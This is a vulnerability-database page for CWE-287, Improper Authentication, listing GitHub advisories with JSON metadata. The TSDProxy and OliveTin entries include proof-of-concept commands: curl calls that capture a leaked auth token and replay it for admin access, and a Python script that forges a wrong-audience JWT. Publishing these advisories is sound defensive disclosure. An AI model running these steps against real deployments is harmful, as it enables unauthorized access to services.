Common Weakness Enumeration

CWE-287

Discouraged

Improper Authentication

Abstraction: Class · Status: Draft

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

5972 vulnerabilities reference this CWE, most recent first.

GHSA-G8CH-8R7R-4WWJ

Vulnerability from github – Published: 2022-12-20 00:30 – Updated: 2022-12-27 21:30
VLAI
Details

The Microchip RN4870 module firmware 1.43 (and the Microchip PIC LightBlue Explorer Demo 4.2 DT100112) allows attackers to bypass passkey entry in legacy pairing.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-46400"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-19T23:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The Microchip RN4870 module firmware 1.43 (and the Microchip PIC LightBlue Explorer Demo 4.2 DT100112) allows attackers to bypass passkey entry in legacy pairing.",
  "id": "GHSA-g8ch-8r7r-4wwj",
  "modified": "2022-12-27T21:30:21Z",
  "published": "2022-12-20T00:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-46400"
    },
    {
      "type": "WEB",
      "url": "https://microchip.com"
    },
    {
      "type": "WEB",
      "url": "https://www.computer.org/csdl/proceedings-article/sp/2023/933600a521/1He7Yja1AYM"
    },
    {
      "type": "WEB",
      "url": "https://www.computer.org/csdl/proceedings/sp/2023/1He7WWuJExG"
    },
    {
      "type": "WEB",
      "url": "https://www.microchip.com/en-us/products/wireless-connectivity/software-vulnerability-response/deviating-behaviors-in-bluetooth-le"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G8H4-J547-7Q9P

Vulnerability from github – Published: 2022-05-24 19:20 – Updated: 2022-10-27 19:00
VLAI
Details

An exposed debug interface was reported in some Motorola-branded Binatone Hubble Cameras that could allow an attacker with physical access unauthorized access to the device.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-3788"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-11-12T22:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An exposed debug interface was reported in some Motorola-branded Binatone Hubble Cameras that could allow an attacker with physical access unauthorized access to the device.",
  "id": "GHSA-g8h4-j547-7q9p",
  "modified": "2022-10-27T19:00:30Z",
  "published": "2022-05-24T19:20:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3788"
    },
    {
      "type": "WEB",
      "url": "https://binatoneglobal.com/security-advisory"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G8J7-2RHP-X3W4

Vulnerability from github – Published: 2023-10-02 00:30 – Updated: 2023-10-02 00:30
VLAI
Details

A vulnerability classified as problematic was found in Field Logic DataCube4 up to 20231001. This vulnerability affects unknown code of the file /api/ of the component Web API. The manipulation leads to improper authentication. The exploit has been disclosed to the public and may be used. VDB-241030 is the identifier assigned to this vulnerability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-5329"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-02T00:15:10Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability classified as problematic was found in Field Logic DataCube4 up to 20231001. This vulnerability affects unknown code of the file /api/ of the component Web API. The manipulation leads to improper authentication. The exploit has been disclosed to the public and may be used. VDB-241030 is the identifier assigned to this vulnerability.",
  "id": "GHSA-g8j7-2rhp-x3w4",
  "modified": "2023-10-02T00:30:14Z",
  "published": "2023-10-02T00:30:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5329"
    },
    {
      "type": "WEB",
      "url": "https://github.com/CV3TR4CK/CV3Cyb3R/blob/main/2023/Field%20Logic/Field%20Logic%20DataCube4%20Web%20API%20Improper%20Authentication.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.241030"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.241030"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G8PG-33V4-9R96

Vulnerability from github – Published: 2024-05-30 13:26 – Updated: 2026-07-17 18:14
VLAI
Summary
Thelia authentication bypass vulnerability
Details

An authentication bypass was identifed in thelia/thelia project for customer and admin. This vulnerability is present from version 2.0.0-beta1 and is fixed in 2.1.3 and 2.2.0-alpha1.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "thelia/thelia"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0-beta1"
            },
            {
              "fixed": "2.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-30T13:26:47Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "An authentication bypass was identifed in thelia/thelia project for customer and admin. This vulnerability is present from version 2.0.0-beta1 and is fixed in 2.1.3 and 2.2.0-alpha1.",
  "id": "GHSA-g8pg-33v4-9r96",
  "modified": "2026-07-17T18:14:11Z",
  "published": "2024-05-30T13:26:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/github/advisory-database/pull/8012"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thelia/thelia/commit/028cfcf507cd8685772e156ec0c860034d407094"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thelia/thelia/commit/71c1cee66d8f2e515e82478f792879fa63843644"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/thelia/thelia/2015-04-13-1.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thelia/thelia"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20160502224630/http://thelia.net/version-2-1-3-with-security-fix"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Thelia authentication bypass vulnerability"
}

GHSA-G8Q3-Q7HJ-QV33

Vulnerability from github – Published: 2022-05-24 17:37 – Updated: 2022-05-24 17:37
VLAI
Details

There is an improper authentication vulnerability in some verisons of Huawei CloudEngine product. A module does not verify the input file properly. Attackers can exploit this vulnerability by crafting malicious files to bypass current verification mechanism. This can compromise normal service.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-9207"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-12-29T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "There is an improper authentication vulnerability in some verisons of Huawei CloudEngine product. A module does not verify the input file properly. Attackers can exploit this vulnerability by crafting malicious files to bypass current verification mechanism. This can compromise normal service.",
  "id": "GHSA-g8q3-q7hj-qv33",
  "modified": "2022-05-24T17:37:31Z",
  "published": "2022-05-24T17:37:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-9207"
    },
    {
      "type": "WEB",
      "url": "https://www.huawei.com/en/psirt/security-advisories/huawei-sa-20201216-01-vrp-en"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-G8Q5-X5P6-C4GC

Vulnerability from github – Published: 2022-05-24 17:41 – Updated: 2022-07-13 00:01
VLAI
Details

Insufficient policy enforcement in Downloads in Google Chrome prior to 88.0.4324.96 allowed an attacker who convinced a user to download files to bypass navigation restrictions via a crafted HTML page.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-21133"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-02-09T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Insufficient policy enforcement in Downloads in Google Chrome prior to 88.0.4324.96 allowed an attacker who convinced a user to download files to bypass navigation restrictions via a crafted HTML page.",
  "id": "GHSA-g8q5-x5p6-c4gc",
  "modified": "2022-07-13T00:01:06Z",
  "published": "2022-05-24T17:41:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21133"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2021/01/stable-channel-update-for-desktop_19.html"
    },
    {
      "type": "WEB",
      "url": "https://crbug.com/1157743"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-21133"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G92R-9RXW-CMGX

Vulnerability from github – Published: 2023-01-16 00:30 – Updated: 2023-01-23 18:50
VLAI
Summary
phpMyFAQ Improper Authentication vulnerability
Details

Improper Authentication in GitHub repository thorsten/phpmyfaq prior to 3.1.10.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "thorsten/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-0311"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-01-20T22:01:50Z",
    "nvd_published_at": "2023-01-15T22:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Improper Authentication in GitHub repository thorsten/phpmyfaq prior to 3.1.10.",
  "id": "GHSA-g92r-9rxw-cmgx",
  "modified": "2023-01-23T18:50:12Z",
  "published": "2023-01-16T00:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0311"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpmyfaq/commit/fe6e9f02ef1b26a03134b9becda12687ee5f3214"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thorsten/phpmyfaq"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/82b0b629-c56b-4651-af3f-17f749751857"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "phpMyFAQ Improper Authentication vulnerability"
}

GHSA-G936-7JQJ-MWV8

Vulnerability from github – Published: 2026-07-10 21:43 – Updated: 2026-07-10 21:43
VLAI
Summary
TSDProxy: Internal proxy auth token forwarded to backend services enables management API escalation
Details

Description

A vulnerability was discovered in TSDProxy where it forwards its internal per-process authentication token to all proxied backend services. When identityHeaders is enabled (the default), tsdproxy injects x-tsdproxy-auth-token into every upstream HTTP request alongside user identity headers. This token is the same secret used by the management HTTP server to trust forwarded Tailscale identity claims. A backend that receives this token can replay it from localhost to the management port with an arbitrary x-tsdproxy-id value, bypassing Tailscale authentication entirely.

The token is forwarded unconditionally: ProviderUserMiddleware always calls WhoisNewContext regardless of whether the user is authenticated. In the ReverseProxy.Rewrite function, WhoisFromContext returns ok=true even for zero-value Whois{} (unauthenticated or Funnel requests). The HeaderAuthToken is set for every request when identityHeaders=true.

The attack requires the backend to reach 127.0.0.1:8080. This holds in: (1) non-Docker deployments where tsdproxy and a backend run on the same host, (2) Docker host-network-mode containers, (3) containers sharing tsdproxy's network namespace.

Affected files

  • internal/proxymanager/port.go:123-132
  • internal/core/admin.go:160-182
// port.go: auth token forwarded regardless of user authentication state
if identityHeaders {
    if user, ok := model.WhoisFromContext(r.In.Context()); ok {
        // ok=true even for empty Whois{} stored by ProviderUserMiddleware
        r.Out.Header.Set(consts.HeaderAuthToken, core.ProxyAuthToken()) // token sent to backend
    }
}

// admin.go: management port trusts x-tsdproxy-id from localhost when token is valid
func ResolveWhois(r *http.Request) model.Whois {
    if IsLocalhost(r.RemoteAddr) {
        return model.Whois{
            ID: r.Header.Get(consts.HeaderID), // attacker-controlled after stealing token
        }
    }
    return model.Whois{}
}

Steps to reproduce

  1. Deploy tsdproxy on a host (non-Docker) with a backend at http://localhost:3000.
  2. Make a request through the Tailscale proxy. The backend receives x-tsdproxy-auth-token in the request headers.
  3. From the host, replay the token to the management API:
# Capture token from backend headers (e.g., via a header-reflection endpoint)
TOKEN=$(curl -s http://localhost:3000/debug/headers | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['headers'].get('X-Tsdproxy-Auth-Token',''))")

# Replay from localhost to gain admin access
curl -H "x-tsdproxy-auth-token: $TOKEN" \
     -H "x-tsdproxy-id: attacker" \
     http://127.0.0.1:8080/api/v1/proxies
# Returns full proxy list with admin access

Fix

Remove HeaderAuthToken from the outgoing backend request, and guard identity-header injection on user.ID != "":

// port.go: only inject headers for actually authenticated users
if identityHeaders {
    if user, ok := model.WhoisFromContext(r.In.Context()); ok && user.ID != "" {
        r.Out.Header.Set(consts.HeaderID, user.ID)
        // HeaderAuthToken should NOT be forwarded to backends
    }
}

Impact

An attacker with code execution in any backend proxied by tsdproxy (on the same host) gains full management API control: restart or pause all proxied services (DoS), enumerate all proxy configurations and backend network topology, and trigger webhook deliveries (SSRF via configured webhook URLs).

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

Sponsorship

This audit is from an AI-assisted research agent at sechub.dev. Running it on OSS projects is free for maintainers.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/almeidapaulopt/tsdproxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.4-0.20260603142855-434819b4421e"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-10T21:43:13Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Description\n\nA vulnerability was discovered in TSDProxy where it forwards its internal per-process authentication token to all proxied backend services. When `identityHeaders` is enabled (the default), tsdproxy injects `x-tsdproxy-auth-token` into every upstream HTTP request alongside user identity headers. This token is the same secret used by the management HTTP server to trust forwarded Tailscale identity claims. A backend that receives this token can replay it from localhost to the management port with an arbitrary `x-tsdproxy-id` value, bypassing Tailscale authentication entirely.\n\nThe token is forwarded unconditionally: `ProviderUserMiddleware` always calls `WhoisNewContext` regardless of whether the user is authenticated. In the `ReverseProxy.Rewrite` function, `WhoisFromContext` returns `ok=true` even for zero-value `Whois{}` (unauthenticated or Funnel requests). The `HeaderAuthToken` is set for every request when `identityHeaders=true`.\n\nThe attack requires the backend to reach `127.0.0.1:8080`. This holds in: (1) non-Docker deployments where tsdproxy and a backend run on the same host, (2) Docker host-network-mode containers, (3) containers sharing tsdproxy\u0027s network namespace.\n\n## Affected files\n\n- `internal/proxymanager/port.go:123-132`\n- `internal/core/admin.go:160-182`\n\n```go\n// port.go: auth token forwarded regardless of user authentication state\nif identityHeaders {\n    if user, ok := model.WhoisFromContext(r.In.Context()); ok {\n        // ok=true even for empty Whois{} stored by ProviderUserMiddleware\n        r.Out.Header.Set(consts.HeaderAuthToken, core.ProxyAuthToken()) // token sent to backend\n    }\n}\n\n// admin.go: management port trusts x-tsdproxy-id from localhost when token is valid\nfunc ResolveWhois(r *http.Request) model.Whois {\n    if IsLocalhost(r.RemoteAddr) {\n        return model.Whois{\n            ID: r.Header.Get(consts.HeaderID), // attacker-controlled after stealing token\n        }\n    }\n    return model.Whois{}\n}\n```\n\n## Steps to reproduce\n\n1. Deploy tsdproxy on a host (non-Docker) with a backend at `http://localhost:3000`.\n2. Make a request through the Tailscale proxy. The backend receives `x-tsdproxy-auth-token` in the request headers.\n3. From the host, replay the token to the management API:\n\n```bash\n# Capture token from backend headers (e.g., via a header-reflection endpoint)\nTOKEN=$(curl -s http://localhost:3000/debug/headers | python3 -c \"import sys,json; d=json.load(sys.stdin); print(d[\u0027headers\u0027].get(\u0027X-Tsdproxy-Auth-Token\u0027,\u0027\u0027))\")\n\n# Replay from localhost to gain admin access\ncurl -H \"x-tsdproxy-auth-token: $TOKEN\" \\\n     -H \"x-tsdproxy-id: attacker\" \\\n     http://127.0.0.1:8080/api/v1/proxies\n# Returns full proxy list with admin access\n```\n\n## Fix\n\nRemove `HeaderAuthToken` from the outgoing backend request, and guard identity-header injection on `user.ID != \"\"`:\n\n```go\n// port.go: only inject headers for actually authenticated users\nif identityHeaders {\n    if user, ok := model.WhoisFromContext(r.In.Context()); ok \u0026\u0026 user.ID != \"\" {\n        r.Out.Header.Set(consts.HeaderID, user.ID)\n        // HeaderAuthToken should NOT be forwarded to backends\n    }\n}\n```\n\n## Impact\n\nAn attacker with code execution in any backend proxied by tsdproxy (on the same host) gains full management API control: restart or pause all proxied services (DoS), enumerate all proxy configurations and backend network topology, and trigger webhook deliveries (SSRF via configured webhook URLs).\n\n## Credits\n\nReported by Vishal Shukla (@shukla304 / @therawdev).\n\n## Sponsorship\n\nThis audit is from an AI-assisted research agent at [sechub.dev](https://sechub.dev). Running it on OSS projects is free for maintainers.",
  "id": "GHSA-g936-7jqj-mwv8",
  "modified": "2026-07-10T21:43:13Z",
  "published": "2026-07-10T21:43:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/almeidapaulopt/tsdproxy/security/advisories/GHSA-g936-7jqj-mwv8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/almeidapaulopt/tsdproxy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "TSDProxy: Internal proxy auth token forwarded to backend services enables management API escalation"
}

GHSA-G962-2J28-3CG9

Vulnerability from github – Published: 2026-03-05 20:52 – Updated: 2026-03-06 22:52
VLAI
Summary
OliveTin has JWT Audience Validation Bypass in Local Key and HMAC Modes
Details

Summary

When JWT authentication is configured using either:

  • authJwtPubKeyPath (local RSA public key), or
  • authJwtHmacSecret (HMAC secret),

the configured audience value (authJwtAud) is not enforced during token parsing. As a result, validly signed JWT tokens with an incorrect aud claim are accepted for authentication. This allows authentication using tokens intended for a different audience/service.

Details

Affected Code

File: jwt.go Lines: 51–59, 144–157, 161–168

Current Behavior

Remote JWKS Mode (Correct):

return jwt.Parse(jwtToken, jwksVerifier.Keyfunc, jwt.WithAudience(cfg.AuthJwtAud))

Audience validation is enforced.

Local Public Key Mode (Vulnerable):

return jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })

No jwt.WithAudience() option is provided.

HMAC Mode (Vulnerable):

return jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })

No jwt.WithAudience() option is provided.

Why This Is Vulnerable: authJwtAud is ignored for authJwtPubKeyPath and authJwtHmacSecret modes, so wrong-audience tokens are accepted.

PoC

  1. Configure OliveTin

Use a minimal config with JWT local key authentication: ```yaml authJwtPubKeyPath: ./public.pem authJwtHeader: Authorization authJwtClaimUsername: sub authJwtAud: expected-audience

authRequireGuestsToLogin: true ```

  1. Generate a Wrong-Audience Token ```python python3 - <<EOF import jwt, datetime

with open("private.pem") as f: key = f.read()

token = jwt.encode( { "sub": "low", "aud": "wrong-audience", # intentionally wrong "exp": datetime.datetime.utcnow() + datetime.timedelta(minutes=30) }, key, algorithm="RS256" )

print(token) EOF `` This prints the$WRONG_AUD_TOKEN`.

  1. Test Without Token (Baseline) bash curl -i -X POST http://localhost:1337/api/WhoAmI \ -H 'Content-Type: application/json' \ -d '{}' Expected response: HTTP/1.1 401 Unauthorized

  2. Test With Wrong-Audience Token bash curl -i -X POST http://localhost:1337/api/WhoAmI \ -H 'Content-Type: application/json' \ -H "Authorization: Bearer $WRONG_AUD_TOKEN" \ -d '{}' Expected response: HTTP/1.1 200 OK {"authenticatedUser":"low","provider":"jwt","usergroup":"","acls":[],"sid":""} Authentication succeeds even though the aud claim is incorrect.

Impact

An attacker who possesses a valid JWT signed by the configured key (or HMAC secret) but intended for a different audience can authenticate successfully.

This enables:

  • Cross-service token reuse
  • Authentication using tokens issued for other systems
  • Trust boundary violation in multi-service environments

This is particularly severe when:

  • OliveTin is deployed behind a centralized SSO provider
  • The same signing key is reused across services
  • Audience restrictions are relied upon for service isolation

This does not bypass ACL authorization. It is strictly an authentication validation flaw.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/OliveTin/OliveTin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260304231339-e97d8ecbd8d6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30223"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-05T20:52:12Z",
    "nvd_published_at": "2026-03-06T21:16:16Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nWhen JWT authentication is configured using either:\n\n- `authJwtPubKeyPath` (local RSA public key), or\n- `authJwtHmacSecret` (HMAC secret),\n\nthe configured audience value (`authJwtAud`) is not enforced during token parsing.\nAs a result, validly signed JWT tokens with an incorrect `aud` claim are accepted for authentication.\nThis allows authentication using tokens intended for a different audience/service.\n\n### Details\n\n**Affected Code**\n\nFile: `jwt.go`\nLines: 51\u201359, 144\u2013157, 161\u2013168\n\n**Current Behavior**\n\nRemote JWKS Mode (Correct):\n```go\nreturn jwt.Parse(jwtToken, jwksVerifier.Keyfunc, jwt.WithAudience(cfg.AuthJwtAud))\n```\nAudience validation is enforced.\n\nLocal Public Key Mode (Vulnerable):\n```go\nreturn jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })\n```\nNo `jwt.WithAudience()` option is provided.\n\nHMAC Mode (Vulnerable):\n```go\nreturn jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })\n```\nNo `jwt.WithAudience()` option is provided.\n\n**Why This Is Vulnerable:** `authJwtAud` is ignored for `authJwtPubKeyPath` and `authJwtHmacSecret` modes, so wrong-audience tokens are accepted.\n\n### PoC\n\n1. **Configure OliveTin**\n\n   Use a minimal config with JWT local key authentication:\n   ```yaml\n   authJwtPubKeyPath: ./public.pem\n   authJwtHeader: Authorization\n   authJwtClaimUsername: sub\n   authJwtAud: expected-audience\n\n   authRequireGuestsToLogin: true\n   ```\n\n2. **Generate a Wrong-Audience Token**\n   ```python\n   python3 - \u003c\u003cEOF\n   import jwt, datetime\n\n   with open(\"private.pem\") as f:\n       key = f.read()\n\n   token = jwt.encode(\n       {\n           \"sub\": \"low\",\n           \"aud\": \"wrong-audience\",   # intentionally wrong\n           \"exp\": datetime.datetime.utcnow() + datetime.timedelta(minutes=30)\n       },\n       key,\n       algorithm=\"RS256\"\n   )\n\n   print(token)\n   EOF\n   ```\n   This prints the `$WRONG_AUD_TOKEN`.\n\n3. **Test Without Token (Baseline)**\n   ```bash\n   curl -i -X POST http://localhost:1337/api/WhoAmI \\\n     -H \u0027Content-Type: application/json\u0027 \\\n     -d \u0027{}\u0027\n   ```\n   Expected response:\n   ```\n   HTTP/1.1 401 Unauthorized\n   ```\n\n4. **Test With Wrong-Audience Token**\n   ```bash\n   curl -i -X POST http://localhost:1337/api/WhoAmI \\\n     -H \u0027Content-Type: application/json\u0027 \\\n     -H \"Authorization: Bearer $WRONG_AUD_TOKEN\" \\\n     -d \u0027{}\u0027\n   ```\n   Expected response:\n   ```\n   HTTP/1.1 200 OK\n   {\"authenticatedUser\":\"low\",\"provider\":\"jwt\",\"usergroup\":\"\",\"acls\":[],\"sid\":\"\"}\n   ```\n   Authentication succeeds even though the `aud` claim is incorrect.\n\n### Impact\n\nAn attacker who possesses a valid JWT signed by the configured key (or HMAC secret) but intended for a different audience can authenticate successfully.\n\nThis enables:\n\n- Cross-service token reuse\n- Authentication using tokens issued for other systems\n- Trust boundary violation in multi-service environments\n\nThis is particularly severe when:\n\n- OliveTin is deployed behind a centralized SSO provider\n- The same signing key is reused across services\n- Audience restrictions are relied upon for service isolation\n\nThis does **not** bypass ACL authorization.\nIt is strictly an authentication validation flaw.",
  "id": "GHSA-g962-2j28-3cg9",
  "modified": "2026-03-06T22:52:10Z",
  "published": "2026-03-05T20:52:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-g962-2j28-3cg9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30223"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/commit/e97d8ecbd8d6ba468c418ca496fcd18f78131233"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OliveTin/OliveTin"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OliveTin has JWT Audience Validation Bypass in Local Key and HMAC Modes"
}

GHSA-G98G-R7GF-2R25

Vulnerability from github – Published: 2025-05-16 17:48 – Updated: 2025-05-22 20:03
VLAI
Summary
Brute Force Authentication Tags of CookieStore Sessions in Auth0-PHP SDK
Details

Overview Session cookies of applications using the Auth0-PHP SDK configured with CookieStore have authentication tags that can be brute forced, which may result in unauthorized access.

Am I Affected? You are affected by this vulnerability if you meet the following pre-conditions: 1. Applications using the Auth0-PHP SDK, or the following SDKs that rely on the Auth0-PHP SDK: a. Auth0/symfony, b. Auth0/laravel-auth0, c. Auth0/wordpress, 2. Session storage configured with CookieStore.

Fix Upgrade Auth0/Auth0-PHP to v8.14.0. As an additional precautionary measure, we recommend rotating your cookie encryption keys. Note that once updated, any previous session cookies will be rejected.

Acknowledgement Okta would like to thank Félix Charette for discovering this vulnerability.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "auth0/auth0-php"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0-BETA1"
            },
            {
              "fixed": "8.14.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-47275"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-05-16T17:48:55Z",
    "nvd_published_at": "2025-05-15T22:15:18Z",
    "severity": "CRITICAL"
  },
  "details": "**Overview**\nSession cookies of applications using the Auth0-PHP SDK configured with CookieStore have authentication tags that can be brute forced, which may result in unauthorized access.\n\n**Am I Affected?**\nYou are affected by this vulnerability if you meet the following pre-conditions:\n1. Applications using the Auth0-PHP SDK, or the following SDKs that rely on the Auth0-PHP SDK:\n    a. Auth0/symfony,\n    b. Auth0/laravel-auth0,\n    c. Auth0/wordpress,\n2. Session storage configured with CookieStore.\n\n**Fix**\nUpgrade Auth0/Auth0-PHP to v8.14.0. As an additional precautionary measure, we recommend rotating your cookie encryption keys. Note that once updated, any previous session cookies will be rejected.\n\n**Acknowledgement**\nOkta would like to thank F\u00e9lix Charette for discovering this vulnerability.",
  "id": "GHSA-g98g-r7gf-2r25",
  "modified": "2025-05-22T20:03:15Z",
  "published": "2025-05-16T17:48:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/auth0/auth0-PHP/security/advisories/GHSA-g98g-r7gf-2r25"
    },
    {
      "type": "WEB",
      "url": "https://github.com/auth0/laravel-auth0/security/advisories/GHSA-9fwj-9mjf-rhj3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/auth0/symfony/security/advisories/GHSA-9wg9-93h9-j8ch"
    },
    {
      "type": "WEB",
      "url": "https://github.com/auth0/wordpress/security/advisories/GHSA-2f4r-34m4-3w8q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47275"
    },
    {
      "type": "WEB",
      "url": "https://github.com/auth0/auth0-PHP/commit/52a79480fdb246f59dbc089b81a784ae049bd389"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/auth0/auth0-PHP"
    },
    {
      "type": "WEB",
      "url": "https://github.com/auth0/auth0-PHP/releases/tag/8.14.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Brute Force Authentication Tags of CookieStore Sessions in Auth0-PHP SDK"
}

Mitigation
Architecture and Design

Strategy: Libraries or Frameworks

Use an authentication framework or library such as the OWASP ESAPI Authentication feature.
